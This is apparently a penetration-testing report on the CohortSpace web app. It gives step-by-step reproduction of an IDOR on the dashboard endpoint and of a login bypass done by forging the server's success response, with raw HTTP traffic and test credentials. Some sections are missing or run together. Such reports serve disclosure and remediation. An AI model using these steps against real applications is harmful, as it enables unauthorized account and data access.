

**Vulnerability Assessment and Penetration Testing
Report
CohortSpace**

Contents

Executive Summary:.....	2
Background:	3
Objectives:.....	3
Scope:	3
Out of Scope(OOS):.....	4
Tools used:.....	4
Summary of findings:	4
Vulnerability Details:.....	5
Testing Methodology:	10
Risk Assessments:	11
Terms and Conditions:.....	12

Executive Summary:

After the completion of our project, our team carried out black box penetration testing, in which we assumed we had never seen the target before. The tool used in Burp Suite Pro, although most of the analysis and testing were done manually.

The assessment also included a review of security controls and requirements listed in the OWASP Application Security Verification Standard (ASVS). This review does not, nor is it intended to, identify all the potential vulnerabilities in all applications.

The results summarized in this document are based on a collection of methodologies and tests that interact at a single point in time with technology that is continually changing and becoming ever more complex. Any projection to the future of the findings contained in this document is subject to the risk that they may no longer portray the system or environment in existence at that time because of change

Background:

This exercise aimed to perform Penetration Testing of the Applications in scope to determine if they were vulnerable to attacks and exploitation.

The test consisted of manual testing to detect and exploit vulnerabilities. The assessment was conducted to identify security vulnerabilities in the Application in scope and to propose solutions for the project team to remediate them, making the Application more secure.

The Security Assessment was performed by the CohortSpace team between 18th May 2026 and 19th May 2026 in a 2-day period.

Objectives:

- Identify the possible vulnerabilities and gaps in the web applications.
- Suggest recommendations to overcome existing vulnerabilities and gaps.
- Assess the gaps and vulnerabilities to determine the Risk associated.

Scope:

The scope for this Security assessment includes, but is not limited to, the following tests:

- Business Logic
 - Authentication
 - Authorization
 - Session Management
 - Data Validation, Governance, and Transfer.
 - SQLi
 - SSRF
- And much more.

URLS:

<https://cohort-space.onrender.com>

Testing Accounts Used:

admin,1111

Out of Scope(OOS):

The following activities and applications were considered out of scope for this Engagement:

- Social Engineering
- Denial of Service
- Vulnerability Fixes
- Intrusive Tests and Exploitation

Tools used:

We used a combination of manual testing and commercial/open-source tools as part of its penetration testing methodology. The following tools are used for the testing.

- Burpsuite Pro
- FoxyProxy
- PwnFox
- Mozilla Firefox

Summary of findings:

The Web Vulnerability Assessment and Penetration Testing (VAPT) conducted for the target yielded important findings and insights. This summary provides an overview of the key results obtained during the assessment.

Vulnerability Details:

1. IDOR Leading Information Leakage of other people's Workspace

Parameter	Description
Severity	Critical
Impact	Critical
Threat	The impact of IDOR may vary, depending on the context, from unauthorized data access, data updates and so on.

Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten. However, it is just one example of many access control implementation mistakes that can lead to access controls being circumvented.

Steps to Reproduce:

- Make a 'GET' request in a cohort you are in, intercept that request, in this endpoint `/api/dashboard?workspaceId=`
- Send it to repeater, change the `workspaceId` to another integer.

```

Pretty  Raw  Hex
1 GET /api/dashboard?workspaceId=9 HTTP/2
2 Host: cohort-space.onrender.com
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0)
  Gecko/20100101 Firefox/150.0
4 Accept: application/json, text/plain, */*
5 Accept-Language: en-US,en;q=0.9
6 Accept-Encoding: gzip, deflate, br
7 Referer: https://cohort-space.onrender.com/dashboard
8 Sec-Fetch-Dest: empty
9 Sec-Fetch-Mode: cors
10 Sec-Fetch-Site: same-origin
11 X-Pwnfox-Color: red
12 Te: trailers
13
14
```


Severity	Critical
Impact	Critical
Threat	I was able to bypass the password, as long as I knew the user's name and regNumber

Auth Bypass is a type of attack in which an attacker exploits a flaw in the flow of the authentication process through different techniques.

Steps to reproduce:

- Go to the login page. Just insert a correct regNumber and a wrong password.
- Intercept that request, both the response and the request.
- In the response, change the status to `200 OK`
- In the body of the response, delete the JSON completely and paste

```
{"success":true,"userId":41,"name":"ADMIN","regNumber":"ADMIN"}
```

As the new body, using username in both name and regNumber Parameters, for the userID, we can find it through user enumeration in another endpoint possible.

- Note that you never used the password.

```

1 POST /api/auth/login HTTP/2
2 Host: cohort-space.onrender.com
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0)
  Gecko/20100101 Firefox/150.0
4 Accept: application/json, text/plain, */*
5 Accept-Language: en-US,en;q=0.9
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/json
8 Content-Length: 34
9 Origin: https://cohort-space.onrender.com
10 Sec-Fetch-Dest: empty
11 Sec-Fetch-Mode: cors
12 Sec-Fetch-Site: same-origin
13 X-Pwnfox-Color: red
14 Priority: u=0
15 Referer: https://cohort-space.onrender.com/access
16 Te: trailers
17
18 {
  "regNumber": "ADMIN",
  "pin": "3232"
}

```

```

1 HTTP/2 401 Unauthorized
2 Date: Mon, 18 May 2026 16:23:00 GMT
3 Content-Type: application/json; charset=utf-8
4 Content-Length: 62
5 Access-Control-Allow-Origin: *
6 Etag: W/"3e-RBkaUyA4fyEABHWW00sbdE3eJ90"
7 Rndr-Id: a68ed932-6cf4-4f99
8 Server: cloudflare
9 Vary: Accept-Encoding
10 X-Powered-By: Express
11 X-Render-Origin-Server: Render
12 Cf-Cache-Status: DYNAMIC
13 Cf-Ray: 9fdc3435afdb51a3-MBA
14 Alt-Svc: h3=":443"; ma=86400
15
16 {
  "success": false,
  "message": "Incorrect PIN. Please try again."
}

```

```

1 HTTP/2 200 OK
2 Date: Mon, 18 May 2026 16:13:18 GMT
3 Content-Type: application/json; charset=utf-8
4 Content-Length: 63
5 Access-Control-Allow-Origin: *
6 Etag: W/"3f-nF2BiY05n4Gj52LQ4/JRrXl3aKA"
7 Rndr-Id: d3ca8c7e-c954-4da4
8 Server: cloudflare
9 Vary: Accept-Encoding
10 X-Powered-By: Express
11 X-Render-Origin-Server: Render
12 Cf-Cache-Status: DYNAMIC
13 Cf-Ray: 9fdc25fdb3c142f-MBA
14 Alt-Svc: h3=":443"; ma=86400
15
16 {
  "success": true,
  "userId": 41,
  "name": "ADMIN",
  "regNumber": "ADMIN"
}

```

Resolution of the Vulnerability:

- a. Implement proper access control - Ensure every user request is verified to confirm the user has permission to access the requested resource.

- b. Use indirect or random object references - Avoid exposing predictable IDs
- c. Apply Role-Based Access Control (RBAC) – restrict access of different user roles properly.
- d. Validate User Authorization on the Server Side - Never rely only on frontend validation or hidden fields.

3. Lack of authentication session cookie or JWT Token

Parameter	Description
Severity	Critical
Impact	Critical
Threat	Lack of session cookies or JWT tokens Is critical as it's used for all authentication and authorization operations

Web applications use cookies to identify users, which are provided once users log in. It is used to know which user requested what resources. In the absence of cookies or JWTs, the web app cannot know which user is requesting a resource, making access control impossible.

Steps to reproduce:

- Log in with the correct credentials and intercept the request and the response.
- In the response, note there's no cookie provided to the user on login
- Also, throughout the use of the application, note that there's no cookie or JWT on the requests
- For PoC, I used a response image of a login request. Note the absence of cookies.

	Pretty	Raw	Hex	Render
1	HTTP/2 200 OK			
2	Date: Mon, 18 May 2026 16:13:18 GMT			
3	Content-Type: application/json; charset=utf-8			
4	Content-Length: 63			
5	Access-Control-Allow-Origin: *			
6	Etag: W/"3f-nF2BiY05n4Gj52LQ4/JRrXl3aKA"			
7	Rndr-Id: d3ca8c7e-c954-4da4			
8	Server: cloudflare			
9	Vary: Accept-Encoding			
10	X-Powered-By: Express			
11	X-Render-Origin-Server: Render			
12	Cf-Cache-Status: DYNAMIC			
13	Cf-Ray: 9fdc25fdb3c142f-MBA			
14	Alt-Svc: h3=":443"; ma=86400			
15				
16	{			
	"success":true,			
	"userId":41,			
	"name":"ADMIN",			
	"regNumber":"ADMIN"			
	}			

Resolution of the Vulnerability:

- Implement proper access control - Ensure every user request is verified to confirm the user has permission to access the requested resource.
- Apply Role-Based Access Control (RBAC) – restrict access of different user roles properly.
- Validate User Authorization on the Server Side - Never rely only on frontend validation or hidden fields.

Testing Methodology:

The testing methodology followed during the Web Vulnerability Assessment and Penetration Testing (VAPT) adheres to industry best practices and consists of several key phases. This section provides an overview of the testing methodology employed during the assessment, applicable to various organizations and scenarios.

Low-Risk: Low-risk vulnerabilities represent potential security gaps that may have a limited impact on the overall security posture of web applications. The exploitation of these vulnerabilities is less likely to result in significant harm or compromise.

Informational: Informational findings provide observations, best practice recommendations, or additional information that may not pose an immediate security risk but offer valuable insights for improving security practices, enhancing system resilience, or adhering to industry standards.

Terms and Conditions:

Confidentiality and non-disclosure:

The Provider agrees to treat all information obtained during the engagement as confidential. The Provider will not disclose any findings or sensitive information to unauthorized parties without the Client's explicit written consent. The Client acknowledges that the Provider may share anonymized and aggregated data for statistical or research purposes, provided that it does not disclose sensitive information.

Legal Compliance:

The penetration testing activities will be conducted in compliance with applicable laws, regulations, and ethical standards. The Client agrees to provide accurate and lawful information, ensuring that the testing does not violate any legal or regulatory requirements.

Remediation and Follow-up:

Upon receiving the penetration testing report, the Client is responsible for promptly addressing and remediating the identified vulnerabilities. The Provider may offer additional support or consulting services to assist with the remediation process if agreed upon separately.